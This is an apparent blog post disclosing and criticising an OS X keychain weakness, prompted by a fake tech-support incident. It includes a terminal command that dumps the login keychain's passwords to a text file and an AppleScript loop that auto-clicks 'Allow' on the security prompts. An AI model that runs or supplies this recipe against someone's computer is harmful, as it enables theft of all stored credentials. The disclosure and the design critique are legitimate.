Member preview

Security Flaw in OS X displays all keychain passwords in plain text

This afternoon, a friend learned the hard way that you don’t let an unofficial company take control of your computer to provide “support”. However, it was what I learned that shocked me the most.

There is a method in OS X that will allow any user to export your keychain, without sudo privileges or any system dialogs, to a text file, with the username and passwords displayed in plain text. As of this writing, this method works in at least 10.10 and 10.11.5, and presumably at the least all iterations in between.

The method consists of opening up terminal, and cutting and pasting the following code:

security dump-keychain -d login.keychain > keychain.txt

You can circumvent all system dialogs by scripting that terminal command and adding the following:

tell application "System Events"
repeat while exists (processes where name is "SecurityAgent")
tell process "SecurityAgent"
click button "Allow" of group 1 of window 1
end tell
delay 0.2
end repeat
end tell

Any unauthorized user, wether its through a remote session like with my friend, or someone you’ve let borrow your computer for only a few seconds, can gain access to every username and password you’ve ever stored in Keychain, and inherently, iCloud.

Apple prides itself on security, but apparently this has been a known method for at least the two years since the article I used to confirm the method had been posted. This is a major security flaw that at no step requires the user to confirm your password. The Keychain dialogue requires your password when you request to “show password” for a particular entry.

Shouldn’t a terminal command require the same level of security?

Edit: Since this blew up overnight, I want to address a few comments and concerns that continue to come up:

  1. There seems to be disagreement over when this prompts for a password and when it does not. Largely it seems if the keychain is locked, then this process requires authentication. This is not practical at the consumer level as it largely defeats the purpose of keychain and breaks most of the always connected proccesses. I locked mine, and was greeted by a nightmare amount of keychain prompts. Mileage probably varies based on how much you store in keychain.
  2. The argument that it shouldn’t require sudo priviledge is valid. You wouldn’t want an admin to just be able to grab any users keychain. However, they can do this while doing maintenance on your computer logged in to your account regardless, so there’s still a conflict there.
  3. I find the argument that “by allowing someone to use your computer you’re giving them permission” to be intellectually dishonest and impractical. There are LOTS of situations where you may have to let someone use your system inside your account, from a “friend” to an admin. While they could login to the slew of services, you still are greeted with hashed passwords in webfields. Damage is limited to the number of websites they could navigate to. In an ideal world you send them to the guest account, but there are multiple situations where you would want to just grant them access to your desktop.
  4. Being able to dump an entire keychain in a matter of 30 seconds IS a security flaw at its core. I don’t have the solution, but arguing “thats how its designed to work” is different than “but wouldn’t it be great if they designed it differently”. I get the argument, but view it as an engineering design issue whose core function should be re-thought.
One clap, two clap, three clap, forty?

By clapping more or less, you can signal to us which stories really stand out.

Responses
Only members of Medium may see responses to this story.